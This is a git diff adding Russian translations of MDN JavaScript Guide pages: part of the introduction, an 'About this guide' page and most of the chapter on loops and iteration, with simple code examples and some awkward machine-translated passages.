+   <td>Не может автоматически записывать на жесткий диск.</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">Может автоматически записывать на жесткий диск.</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Для получения дополнительной информации о различиях между JavaScript и Java, прочитайте <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the object model</a>.</p>
+
+<h2 id="JavaScript_и_спецификация_ECMAScript">JavaScript и спецификация ECMAScript</h2>
+
+<p>JavaScript стандартизирован европейской ассоциацией <a href="http://www.ecma-international.org/">Ecma International</a>, деятельность которой посвящена стандартизации информационных и коммуникационных систем (изначально ECMA являлся акронимом European Computer Manufacturers Association). Эта стандартизированная версия JavaScript, называемая ECMAScript, работает одинаково во всех приложениях, поддерживающих стандарт. Компании могут использовать открытый стандарт языка, чтобы разработать собственную реализацию JavaScript. Стандарт ECMAScript задокументирован в спецификации ECMA-262. Чтобы узнать больше информации о разных версиях JavaScript и ECMAScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/New_in_JavaScript">Что нового в JavaScript</a>.</p>
+
+<p>Стандарт ECMA-262 также утвержден <a href="http://www.iso.org/iso/home.html">ISO</a> (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайте Ecma International</a>. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">Обзор JavaScript</a>.</p>
+
+<h3 id="Документация_JavaScript_против_спецификации_ECMAScript">Документация JavaScript против спецификации ECMAScript</h3>
+
+<p>Спецификация ECMAScript — это набор требований, касающихся реализации ECMAScript. Она предназначена для реализации языковых возможностей, соответствующих стандарту, в вашей реализации ECMAScript или движке (например, SpiderMonkey в Firefox или V8 в Google Chrome).</p>
+
+<p>Документ ECMAScript не предназначен для помощи программистам в создании скриптов; чтобы получить информацию о том, как писать скрипты, используйте документацию JavaScript.</p>
+
+<p>Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остается таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.</p>
+
+<p>Документация JavaScript описывает аспекты языка, являющиеся подходящими для JavaScript-программиста.</p>
+
+<h2 id="Начинаем_знакомство_с_JavaScript">Начинаем знакомство с JavaScript</h2>
+
+<p>Все, что вам нужно для знакомства с JavaScript — это современный браузер. Данное руководство включает некоторые возможности JavaScript, которые на данный момент доступны только в последних версиях Firefox, поэтому рекомендуется использовать последнюю версию Firefox.</p>
+
+<p>В Firefox встроены два инструмента, полезных для экспериментирования с JavaScript: Web Console и Scratchpad.</p>
+
+<h3 id="Web_Console">Web Console</h3>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Tools/Web_Console">Web Console</a> отображает информацию о текущей загруженной веб-странице, а также включает <a href="https://developer.mozilla.org/ru/docs/Tools/Web_Console#The_command_line_interpreter">командную строку</a>, которую вы можете использовать, чтобы выполнить выражения JavaScript на текущей странице.</p>
+
+<p>Чтобы открыть Web Console, выберите "Web Console" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Консоль появится в нижней части окна браузера. Вдоль нижней части консоли размещается командная строка, которую вы можете использовать для ввода JavaScript, результат выполнения появится на панели выше:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16569/2019-04-04_00-15-29.png" style="display: block; height: 1824px; margin-left: auto; margin-right: auto; width: 2784px;"></p>
+
+
+
+<pre>function greetMe(yourName) {
+  alert('Hello ' + yourName);
+}
+<code>console.log(eval('3 + 5'));</code></pre>
+
+
+
+<h3 id="Scratchpad">Scratchpad</h3>
+
+<p>Web Console отлично подходит для выполнения одиночных строк JavaScript, но хотя вы можете выполнить и несколько строк, это не очень удобно, к тому же вы не можете сохранить ваш код, используя Web Console. Поэтому для более комплексных примеров <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B2%D0%B8%D0%BA">Scratchpad</a> является более подходящим инструментом.</p>
+
+<p>Чтобы открыть Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жесткий диск, а потом загружать их.</p>
+
+<p>Если вы выберете "Display", то код в вашем блокноте будет выполнен в браузере, а результат вставлен обратно в блокнот как комментарий:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13468/scratchpad.png" style="display: block; height: 375px; margin-left: auto; margin-right: auto; width: 631px;"></p>
+
+<h3 id="Hello_world">Hello world</h3>
+
+<p>Чтобы начать писать JavaScript код откройте Scratchpad и напишите свой первый "Hello World!" код:</p>
+
+<pre><code>(function(){
+  "use strict";
+  /* Start of your code */
+  function greetMe(yourName) {
+    alert('Hello ' + yourName);
+  }
+
+  greetMe('World');
+  /* End of your code */
+})();</code></pre>
+
+<p>Выберите код на панели и зажмите Ctrl + R, чтобы открыть код в браузере! На следующих страницах мы изучим синтаксис  и возможности JS, чтобы вы могли написать сложное более сложное приложение. Не забывайте добавлять перед кодом <code>(function(){"use strict";</code> и <code>})();</code>  после. вы узнаете, что это означает, а пока считайте, что это —</p>
+
+<p>1.  Значительно улучшает производительность</p>
+
+<p>2.  Предотвращает структуры, которые могут запутать вас на начальном этапе.</p>
+
+<p>3.  Предотвращает взаимодействие фрагментов кода, выполняемых в консоли.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/ru/web/javascript/guide/об_этом_руководстве/index.html b/files/ru/web/javascript/guide/об_этом_руководстве/index.html
new file mode 100644
index 0000000000..397327911c
--- /dev/null
+++ b/files/ru/web/javascript/guide/об_этом_руководстве/index.html
@@ -0,0 +1,68 @@
+---
+title: Об этом руководстве
+slug: Web/JavaScript/Guide/Об_этом_руководстве
+---
+<p> </p>
+<p><span id="result_box" lang="ru"><span class="hps">JavaScript</span> <span class="hps">является</span> <span class="hps">кросс-платформенным,</span> <span class="hps">объектно-ориентированный</span> <span class="hps">язык сценариев.</span> <span class="hps">Это руководство</span> <span class="hps">объясняет</span> <span class="hps">все, что нужно</span> <span class="hps">знать об использовании</span> <span class="hps">JavaScript.</span></span></p>
+<h2 id="Новые_возможности_в_версиях_JavaScript"><span class="short_text" id="result_box" lang="ru"><span class="hps">Новые возможности в</span> <span class="hps">версиях</span> <span class="hps">JavaScript</span></span></h2>
+<pre class="script" style="font-size: 16px;">/* Note: To add a link to new JavaScript version description
+add version number to versionList variable below. The page linked to
+must reside in /en/JavaScript/New_in_JavaScript/N, where N is version number. */
+
+var versionList = ["1.5", "1.6", "1.7", "1.8", "1.8.1", "1.8.5"];
+var s = "";
+&lt;ul&gt;
+  foreach (var i in versionList){
+    let s = "/en/JavaScript/New_in_JavaScript/" .. i;
+    &lt;li&gt;web.link(s, wiki.getPage(s).title)&lt;/li&gt;;
+  }
+&lt;/ul&gt;;
+</pre>
+<h2 id="То_что_вы_должны_уже_знать"><span class="short_text" id="result_box" lang="ru"><span class="hps">То, что вы</span> <span class="hps">должны уже знать</span></span></h2>
+<p>This guide assumes you have the following basic background:</p>
+<ul> <li><span id="result_box" lang="ru"><span>Общее представление о</span> <span class="hps">сети Интернет и</span> <span class="hps atn">World Wide Web (</span><span>WWW).</span></span></li> <li><span id="result_box" lang="ru"><span class="hps">Хорошие</span> <span class="hps">знания</span> <span class="hps">языка</span> <span class="hps">гипертекстовой разметки</span> <span class="hps">(HTML).</span></span></li>
+</ul>
+<p><span id="result_box" lang="ru"><span class="hps">Некоторый опыт программирования</span> <span class="hps">на языках</span><span>, таких как</span> <span class="hps">C</span> <span class="hps">или</span> <span class="hps">Visual Basic,</span> <span class="hps">полезен,</span> <span class="hps">но не обязателен.</span></span></p>
+<h2 id="Версии_JavaScript">Версии JavaScript</h2>
+<table class="standard-table"> <caption>Таблица №1 версии JavaScript и веб-браузера Navigator</caption> <thead> <tr> <th scope="col">JavaScript version</th> <th scope="col">Navigator version</th> </tr> </thead> <tbody> <tr> <td>JavaScript 1.0</td> <td>Navigator 2.0</td> </tr> <tr> <td>JavaScript 1.1</td> <td>Navigator 3.0</td> </tr> <tr> <td>JavaScript 1.2</td> <td>Navigator 4.0-4.05</td> </tr> <tr> <td>JavaScript 1.3</td> <td>Navigator 4.06-4.7x</td> </tr> <tr> <td>JavaScript 1.4</td> <td> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>Navigator 6.0<br> <span class="short_text" id="result_box" lang="ru"><span class="hps atn">Mozilla (</span><span>браузер с открытым</span> <span class="hps">исходным кодом)</span></span></td> </tr> <tr> <td>JavaScript 1.6</td> <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, other Mozilla 1.8-based products</td> </tr> <tr> <td>JavaScript 1.7</td> <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, other Mozilla 1.8.1-based products</td> </tr> <tr> <td>JavaScript 1.8</td> <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, other Gecko 1.9-based products</td> </tr> </tbody>
+</table>
+<p> </p>
+<div class="almost_half_cell" id="gt-res-content"> <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="ru"><span class="hps">Каждая версия</span> <span class="hps">Netscape</span> <span class="hps">Enterprise Server,</span> <span class="hps">также поддерживает</span> <span class="hps">различные версии</span> <span class="hps">JavaScript.</span> <span class="hps">Чтобы помочь вам</span> <span class="hps">писать сценарии</span><span>, которые совместимы</span> <span class="hps">с несколькими версиями</span> <span class="hps">Enterprise Server</span><span>, это руководство</span> <span class="hps">использует</span> <span class="hps">аббревиатуру</span> <span class="hps">для обозначения</span> <span class="hps">версии сервера</span><span>, в котором каждая</span> <span class="hps">функция была реализована</span><span>.</span></span></div>
+</div>
+<table class="standard-table"> <caption>Таблица №2 Аббревиатуры в версиях Netscape Enterprise Server</caption> <thead> <tr> <th scope="col">Аббревиатура</th> <th scope="col">Версия Server Enterprise</th> </tr> </thead> <tbody> <tr> <td>NES 2.0</td> <td>Netscape Enterprise Server 2.0</td> </tr> <tr> <td>NES 3.0</td> <td>Netscape Enterprise Server 3.0</td> </tr> </tbody>
+</table>
+<h2 id="Где_найти_информацию_о_JavaScript">Где найти информацию о JavaScript</h2>
+<p><span id="result_box" lang="ru"><span class="hps">JavaScript</span> <span class="hps">документация включает в себя</span> <span class="hps">следующие книги:</span></span></p>
+<ul> <li><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript Guide</a> <span id="result_box" lang="ru"><span class="hps atn">(</span><span>это руководство</span><span>) предоставляет информацию о</span> <span class="hps">языке</span> <span class="hps">JavaScript</span> <span class="hps">и его объектах.</span></span></li> <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> <span class="short_text" id="result_box" lang="ru"><span class="hps">содержит справочный материал о</span> <span class="hps">языке</span> <span class="hps">JavaScript.</span></span></li>
+</ul>
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">вы новичок в</span> <span class="hps">JavaScript</span><span>, начните с</span></span> <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"><span id="result_box" lang="ru"><span class="hps">руководства</span> <span class="hps">JavaScript.</span></span></a> <span id="result_box" lang="ru"><span class="hps">Если у вас есть</span> <span class="hps">твердое понимание</span> <span class="hps">основы</span><span>, вы можете использовать</span></span> <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочник по JavaScript</a> <span id="result_box" lang="ru"><span>чтобы получить</span> <span class="hps">более подробную информацию</span> <span class="hps">на отдельных</span> <span class="hps">объектах и ​​операторах.</span></span></p>
+<h2 id="Советы_для_изучения_JavaScript"><span class="short_text" id="result_box" lang="ru"><span class="hps">Советы</span> <span class="hps">для изучения</span> <span class="hps">JavaScript</span></span></h2>
+<p><span id="result_box" lang="ru"><span class="hps">Начало работы с</span> <span class="hps">JavaScript</span> <span class="hps">очень просто:</span> <span class="hps">все, что вам</span> <span class="hps">нужно, это</span> <span class="hps">современный</span> <span class="hps">веб-браузер.</span> <span class="hps">Это руководство</span> <span class="hps">включает в себя некоторые</span> <span class="hps">функции</span> <span class="hps">JavaScript</span><span>, которые только</span> <span class="hps">в настоящее время</span> <span class="hps">доступна в последней</span> <span class="hps">версии</span> <span class="hps atn">Firefox (</span><span>и других</span> браузеров с движком Gecko<span class="hps">)</span><span>, поэтому </span></span><span id="result_box" lang="ru"><span class="hps">рекомендуется</span></span><span id="result_box" lang="ru"><span> использование</span> <span class="hps">самых</span> <span class="hps">последних версий</span> <span class="hps">Firefox</span><span class="hps">.</span></span></p>
+<h3 id="Интерактивный_интерпретатор"><span class="short_text" id="result_box" lang="ru"><span>Интерактивный интерпретатор</span></span></h3>
+<p>Диалоговый JavaScript незамедлительно - неоценимая помощь изучению языка, так как это предоставляет вам возможность пробовать вещи в интерактивном режиме без необходимости сохранить файл и обновить страницу. Ошибочная Консоль Firefox, доступная через меню Инструменты, обеспечивает простой путь пробовать диалоговый JavaScript: Только вводят линию кода и щелкают кнопку "Evaluate".</p>
+<p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p>
+<h3 id="Firebug">Firebug</h3>
+<p>Более передовой диалоговый незамедлительно - доступный использующий <a class="external" href="http://www.getfirebug.com/">Firebug</a>, дополнение к Firefox. Выражения, которые вы печатаете, интерпретируются как объекты <span id="result_box" lang="ru"><span class="hps">и</span> <span class="hps">связанные с</span> <span class="hps">другими частями</span> <span class="hps">Firebug.</span></span> <span id="result_box" lang="ru"><span class="hps">Например, вы</span> <span class="hps">можете добавить</span> <span class="hps">5 плюс</span> <span class="hps">5,</span> <span class="hps">изменять регистр</span> <span class="hps">строки</span><span>,</span></span> get a clickable link to the document, or get a link to an element:</p>
+<p><img alt="" class="internal" src="/@api/deki/files/5188/=FirebugCommandLine.PNG" style="width: 728px; height: 281px;"></p>
+<p><span id="result_box" lang="ru"><span class="hps">Использование</span> <span class="hps">стрелки на</span> <span class="hps">правом нижнем углу</span> <span class="hps">дает</span> <span class="hps">команду</span> <span class="hps">редактор для</span> <span class="hps">многострочного</span> <span class="hps">сценариев.</span></span></p>
+<p>Firebug also provides an advanced DOM inspector, a JavaScript debugger, a profiling tool and various other utilities. JavaScript code running in a Web page can call, <code>console.log()</code>, a function that prints its arguments to the Firebug console.</p>
+<p>Many of the examples in this guide use <code>alert()</code> to show messages as they execute. If you have Firebug installed you can use <code>console.log()</code> in place of <code>alert()</code> when running these examples.</p>
+<h2 id="Document_conventions">Document conventions</h2>
+<p>JavaScript applications run on many operating systems; the information in this book applies to all versions. File and directory paths are given in Windows format (with backslashes separating directory names). For Unix versions, the directory paths are the same, except that you use slashes instead of backslashes to separate directories.</p>
+<p>This guide uses uniform resource locators (URLs) of the following form:</p>
+<p><code>http://<em>server</em>.<em>domain</em>/<em>path</em>/<em>file</em>.html</code></p>
+<p>In these URLs, <em>server</em> represents the name of the server on which you run your application, such as <code>research1</code> or <code>www</code>; <em>domain</em> represents your Internet domain name, such as <code>netscape.com</code> or <code>uiuc.edu</code>; <em>path</em> represents the directory structure on the server; and <em>file</em><code>.html</code> represents an individual file name. In general, items in italics in URLs are placeholders and items in normal monospace font are literals. If your server has Secure Sockets Layer (SSL) enabled, you would use <code>https</code> instead of <code>http</code> in the URL.</p>
+<p>This guide uses the following font conventions:</p>
+<ul> <li><code>The monospace font</code> is used for sample code and code listings, API and language elements (such as method names and property names), file names, path names, directory names, HTML tags, and any text that must be typed on the screen. (<code><em>Monospace italic font</em></code> is used for placeholders embedded in code.)</li> <li><em>Italic type</em> is used for book titles, emphasis, variables and placeholders, and words used in the literal sense.</li> <li><strong>Boldface</strong> type is used for glossary terms.</li>
+</ul>
+<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters");
+wiki.languages({
+  "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/關於",
+  "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda",
+  "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos",
+  "ja": "ja/Core_JavaScript_1.5_Guide/About",
+  "ko": "ko/Core_JavaScript_1.5_Guide/About",
+  "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku",
+  "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e"
+})
+</pre>
diff --git a/files/ru/web/javascript/guide/циклы_и_итерации/index.html b/files/ru/web/javascript/guide/циклы_и_итерации/index.html
new file mode 100644
index 0000000000..231bc70804
--- /dev/null
+++ b/files/ru/web/javascript/guide/циклы_и_итерации/index.html
@@ -0,0 +1,362 @@
+---
+title: Циклы и итерации
+slug: Web/JavaScript/Guide/Циклы_и_итерации
+tags:
+  - for
+  - операторы цикла
+  - циклы
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">Циклы - простой способ сделать какое-то действие несколько раз. Эта глава <a href="/ru/docs/Web/JavaScript/Guide">руководства JavaScript Guide</a> познакомит вас с различными операторами доступными в JavaScript.</p>
+
+<p>Вы можете представить цикл в виде компьютеризированной версии игры, где вы говорите кому-то сделать X шагов в одном направлении, затем Y шагов в другом; для примера, идея игры "Иди 5 шагов на восток" может быть выражена в виде цикла:</p>
+
+<pre class="brush: js">var step;
+for (step = 0; step &lt; 5; step++) {
+  // Запускается 5 раз, с шагом от 0 до 4.
+  console.log('Идём 1 шаг на восток');
+}
+</pre>
+
+<p>Существует множество различных видов циклов, но все они по сути делают тоже самое: повторяют какое-либо действие несколько раз (не забывайте про нулевой раз повторения, отсчёт в массиве начинается с 0). Различные по строению циклы предлагают разные способы для определения начала и окончания цикла. Для различных задач программирования существуют свои операторы цикла, с помощью которых они решаются намного проще.</p>
+
+<p>Операторы предназначеные для организации циклов в  JavaScript:</p>
+
+<ul>
+ <li>{{anch("Цикл_for")}}</li>
+ <li>{{anch("Цикл_do...while")}}</li>
+ <li>{{anch("Цикл_while")}}</li>
+ <li>{{anch("Метка_(label)")}}</li>
+ <li>{{anch("break")}}</li>
+ <li>{{anch("continue")}}</li>
+ <li>{{anch("for...in")}}</li>
+ <li>{{anch("for...of")}}</li>
+</ul>
+
+<h2 id="Цикл_for">Цикл <code>for</code> </h2>
+
+<p>Цикл <strong><a href="/ru/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> </a> </strong>повторяет действия, пока не произойдёт какое-либо специальное событие завершения цикла. Оператор <code>for</code> в JavaScript аналогичен оператору for в Java и C. Объявление оператора <code>for</code> выглядит следующим образом:</p>
+
+<pre class="syntaxbox">for ([начало]; [условие]; [шаг]) выражения
+</pre>
+
+<p>При его выполнении происходит следущее:</p>
+
+<ol>
+ <li>Выполняется выражение <code>начало</code>, если оно указано. Это выражение обычно инициализирует один или несколько счётчиков, но синтаксис позволяет выражению быть любой сложности. Также используется для объявления переменных.</li>
+ <li>Выполняется <code>условие</code>. Если <code>условие</code> истинно, то выполняются <code>выражения</code>. Если оно ложно, цикл <code>for</code> прерывается. Если же <code>условие</code> полностью пропущено, то оно считается истинным.</li>
+ <li>Выполняются <code>выражения</code>. Чтобы выполнить несколько выражений, используются блок-выражение  <code>{ ... }</code>  для группировки выражений.</li>
+ <li>Обновляется <code>шаг</code>, если он есть, а затем управление возвращается к шагу 2.</li>
+</ol>
+
+<h3 id="Пример"><strong>Пример</strong></h3>
+
+<p>В следующей функции есть цикл <code>for</code>, который считает количество выбранных жанров в списке прокрутки (элемент {{HTMLElement("select")}}, который позволяет выбрать несколько элементов). Цикл <code>for</code> объявляет переменную <code>i</code> и задаёт ей значение 0. Также он проверяет, что <code>i</code> меньше количества элементов в элементе <code>&lt;select&gt;</code>, выполняет оператор <code>if</code> и увеличивает <code>i</code> на один после каждого прохода цикла.</p>
+
+<pre class="brush: html">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Выберите некоторые жанры музыки, а затем нажмите на кнопку ниже:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="Как много выбрано?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+  var numberSelected = 0;
+  for (var i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      numberSelected++;
+    }
+  }
+  return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Выбрано элементов: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Цикл_do...while">Цикл <code>do...while</code> </h2>
+
+<p>Цикл <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></code> повторяется пока заданное условие истинно. Оператор <code>do...while</code> имеет вид:</p>
+
+<pre class="syntaxbox">do
+  выражения
+while (условие);
+</pre>
+
+<p><code>выражения</code> выполняются пока <code>условие</code> истинно. Чтобы использовать несколько выражений, используйте блок-выражение  <code>{ ... }</code>, чтобы сгруппировать их. Если <code>условие</code> истинно, <code>выражения</code> выполнятся снова. В конце каждого прохода <code>условие</code> проверяется. Если <code>условие</code> ложно, выполнение приостанавливается и управление передаётся выражению после <code>do...while</code>.</p>
+
+<h3 id="Пример_2"><strong>Пример</strong></h3>
+
+<p>В следующем примере, цикл <code>do</code> выполнится минимум 1 раз и запускается снова, пока <code>i</code> меньше 5.</p>
+
+<pre class="brush: js">do {
+  i += 1;
+  console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="Цикл_while">Цикл <code>while</code></h2>
+
+<p>Цикл <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/while">while</a></code> выполняет выражения пока условие истинно. Выглядит он так:</p>
+
+<pre class="syntaxbox">while (условие)
+  выражения
+</pre>
+
+<p>Если <code>условие</code> становится ложным, выражения в цикле перестают выполняться и управление переходит к выражению после цикла.</p>
+
+<p><code>Условие</code> проверяется на истинность до того, как выполняются <code>выражения</code> в цикле. Если <code>условие</code> истинно, выполняются <code>выражения</code>, а затем условие проверяется снова. Если <code>условие</code> ложно, выполнение приостанавливается и управление переходит к выражению после <code>while</code>.</p>
+
+<p>Чтобы использовать несколько выражений, используйте блок выражение <code>{ ... }</code>, чтобы сгруппировать их.</p>
+
+<h3 id="Пример_1"><strong>Пример 1</strong></h3>
+
+<p>Следующий цикл <code>while</code> работает, пока <code>n</code> меньше трёх:</p>
+
+<pre class="brush: js">var n = 0;
+var x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>С каждой итерацией, цикл увеличивает <code>n</code> и добавляет это значение к <code>x</code>. Поэтому, <code>x</code> и <code>n</code> получают следующие значения:</p>
+
+<ul>
+ <li>После первого прохода: <code>n</code> = 1 и <code>x</code> = 1</li>
+ <li>После второго: <code>n</code> = 2 и <code>x</code> = 3</li>
+ <li>После третьего прохода: <code>n</code> = 3 и <code>x</code> = 6</li>
+</ul>
+
+<p>После третьего прохода, условие <code>n &lt; 3</code> становится ложным, поэтому цикл прерывается.</p>
+
+<h3 id="Пример_2_2"><strong>Пример 2</strong></h3>
+
+<p>Избегайте бесконечных циклов. Убедитесь, что условие цикла в итоге станет ложным; иначе, цикл никогда не прервётся. Выражения в следующем цикле <code>while</code> будут выполняться вечно, т.к. условие никогда не станет ложным:</p>
+
+<pre class="brush: js">while (true) {
+  console.log("Hello, world");
+}</pre>
+
+<h2 id="Метка_(label)">Метка (label)</h2>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Statements/label">Метка</a> представляет собой оператор с индентификатором, который позволяет вам ссылаться на какое-то место в вашей программе. Например, вы можете использовать метку, чтобы обозначить цикл, а затем использовать операторы <code>break</code> или <code>continue</code>, чтобы указать, должна ли программа прерывать цикл или продолжать его выполнение.</p>
+
+<p>Синтаксис метки следующий:</p>
+
+<pre class="syntaxbox">метка :
+   оператор
+</pre>
+
+<p>Значение <em>метки</em> может быть любым корректным JavaScript индентификатором, не являющимся зарезервированным словом. <code><em>Оператор</em></code><em>, </em>указанный вами после метки может быть любым выражением.</p>
+
+<h3 id="Пример_3"><strong>Пример</strong></h3>
+
+<p>В этом примере, метка <code>markLoop</code> обозначает цикл <code>while</code>.</p>
+
+<pre class="brush: js">markLoop:
+while (theMark == true) {
+   doSomething();
+}</pre>
+
+<h2 id="break"><code>break</code></h2>
+
+<p>Используйте оператор <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a></code>, чтобы прерывать цикл, переключать управление или в сочетании с оператором метка.</p>
+
+<ul>
+ <li>Когда вы используете <code>break</code> без метки, он прерывает циклы <code>while</code>, <code>do-while</code> и <code>for</code> или сразу переключает управление к следующему выражению.</li>
+ <li>Когда вы используете <code>break</code> с меткой, он прерывает специально отмеченное выражение.</li>
+</ul>
+
+<p>Синтаксис оператора может быть таким:</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>Метка</em>;</code></li>
+</ol>
+
+<p>Первая форма синтаксиса прерывает цикл совсем или переключает управление; вторая прерывает специально обозначенное выражение.</p>
+
+<h3 id="Пример_1_2"><strong>Пример</strong> <strong>1</strong></h3>
+
+<p>Следующий пример проходит по элементам в массиве, пока не найдёт элемент, чьё значение - <code>theValue</code>:</p>
+
+<pre class="brush: js">for (i = 0; i &lt; a.length; i++) {
+  if (a[i] == theValue) {
+    break;
+  }
+}</pre>
+
+<h3 id="Пример_2_Прерывание_метки"><strong>Пример 2: Прерывание метки</strong></h3>
+
+<pre class="brush: js">var x = 0;
+var z = 0
+labelCancelLoops: while (true) {
+  console.log("Внешний цикл: " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Внутренний цикл: " + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelCancelLoops;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+</pre>
+
+<h2 id="continue"><code>continue</code></h2>
+
+<p>Оператор <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> используется, чтобы шагнуть на шаг вперёд в циклах <code>while</code>, <code>do-while</code>, <code>for</code> или перейти к метке.</p>
+
+<ul>
+ <li>Когда вы используете <code>continue</code> без метки, он прерывает текущую итерацию циклов <code>while</code>, <code>do-while</code> и <code>for</code> и продолжает выполнение цикла со следующей итерации. В отличие от <code>break</code>, <code>continue</code> не прерывает выполнение цикла полностью. В цикле <code>while </code>он прыгает к условию. А в <code>for</code> увеличивает <code>шаг</code>.</li>
+ <li>Когда вы используете <code>continue</code> с меткой, он применяется к циклу с этой меткой.</li>
+</ul>
+
+<p>Синтаксис <code>continue</code> может выглядеть так:</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue <em>Метка</em></code><em><code>;</code></em></li>
+</ol>
+
+<h3 id="Пример_1_3"><strong>Пример 1</strong></h3>
+
+<p>Следующий пример показывает цикл <code>while</code> с оператором <code>continue</code>, который срабатывает, когда значение <code>i</code> равно 3. Таким образом, <code>n</code> получает значения 1, 3, 7 и 12.</p>
+
+<pre class="brush: js">var i = 0;
+var n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i == 3) {
+    continue;
+  }
+  n += i;
+}
+</pre>
+
+<h3 id="Пример_2_3"><strong>Пример 2</strong></h3>
+
+<p>Выражение, отмеченное <em><code>checkiandj</code></em> содержит выражение отмеченное <em><code>checkj</code></em>. При встрече с <code>continue</code>, программа прерывает текущую итерацию <em><code>checkj</code></em> и начинает следующую итерацию. Каждый раз при встрече с <code>continue</code>, <em><code>checkj</code></em> переходит на следующую итерацию, пока условие возвращает <code>false</code>. Когда возвращается <code>false</code>, после вычисления остатка от деления <em><code>checkiandj</code></em>, <em><code>checkiandj</code></em> переходит на следующую итерацию, пока его условие возвращает <code>false</code>. Когда возвращается <code>false</code>, программа продолжает выполнение с выражения после <em><code>checkiandj</code></em>.</p>
+
+<p>Если у <code>continue</code> проставлена метка <em><code>checkiandj</code></em>, программа может продолжиться с начала метки <em><code>checkiandj</code></em>.</p>
+
+<pre class="brush: js">checkiandj:
+  while (i &lt; 4) {
+    console.log(i);
+    i += 1;
+    checkj:
+      while (j &gt; 4) {
+        console.log(j);
+        j -= 1;
+        if ((j % 2) != 0) {
+          continue checkj;
+        }
+        console.log(j + " чётное.");
+      }
+      console.log("i = " + i);
+      console.log("j = " + j);
+  }</pre>
+
+<h2 id="for...in"><code>for...in</code> </h2>
+
